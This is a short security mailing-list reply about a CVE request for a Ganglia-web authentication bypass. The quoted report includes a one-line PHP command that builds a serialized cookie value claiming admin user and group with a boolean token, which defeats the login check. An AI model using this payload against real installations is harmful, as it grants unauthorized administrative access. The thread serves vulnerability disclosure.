Re: CVE request: Ganglia-web auth bypass

[Raphael Geissert <geissert () debian org>]

On 4 September 2015 at 19:34, Ivan Novikov <in () wallarm com> wrote:
> Reported by GitHub:
> https://github.com/ganglia/ganglia-web/issues/267
>
> It's easy to bypass auth by using boolean serialization like this:
> $ php -r "echo urlencode(serialize(array('user'=>'admin',
> 'group'=>'admin', 'token'=>true)));"

Oh, indeed. I missed that back when I wrote [1].

Do you know if the groups feature is used nowadays? my comment
regarding it not being validated (i.e. taking whatever is in the
cookie) appears to still hold true.


[1] http://mid.gmane.org/CAA7hUgHW=VwfsffPfFxvhZ=fS5fPf=79jZ-tdsCkZJgEfEksjA () mail gmail com

Cheers,
-- 
Raphael Geissert - Debian Developer
www.debian.org - get.debian.net